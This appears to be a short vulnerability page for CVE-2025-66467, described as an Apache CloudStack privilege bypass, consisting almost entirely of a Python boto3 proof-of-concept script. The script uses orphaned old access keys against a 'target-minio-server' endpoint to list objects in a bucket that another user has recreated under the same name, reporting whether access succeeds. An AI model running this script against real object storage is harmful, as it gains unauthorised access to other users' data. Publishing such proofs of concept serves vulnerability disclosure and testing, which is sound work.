CVE-2025-66467 Apache CloudStack权限绕过漏洞

import boto3 from botocore.exceptions import ClientError # Conceptual PoC for CVE-2025-66467 # This script simulates the attack scenario where old keys work on a new bucket with the same name. def check_access(endpoint, access_key, secret_key, bucket_name): """ Attempt to list objects in the bucket using the provided credentials. """ s3 = boto3.client( 's3', endpoint_url=endpoint, aws_access_key_id=access_key, aws_secret_access_key=secret_key ) try: # Attempt to access the bucket response = s3.list_objects_v2(Bucket=bucket_name) print(f"[+] SUCCESS: Access granted to bucket '{bucket_name}' using old keys.") print(f"[+] Content count: {len(response.get('Contents', []))}") return True except ClientError as e: print(f"[-] FAILED: Access denied or error occurred: {e}") return False # Configuration MINIO_ENDPOINT = "http://target-minio-server:9000" OLD_ACCESS_KEY = "ATTACKER_OLD_ACCESS_KEY" OLD_SECRET_KEY = "ATTACKER_OLD_SECRET_KEY" # The bucket name that was deleted and recreated by another user TARGET_BUCKET = "shared-data-bucket" if __name__ == "__main__": print(f"[*] Attempting to access '{TARGET_BUCKET}' with orphaned keys...") check_access(MINIO_ENDPOINT, OLD_ACCESS_KEY, OLD_SECRET_KEY, TARGET_BUCKET)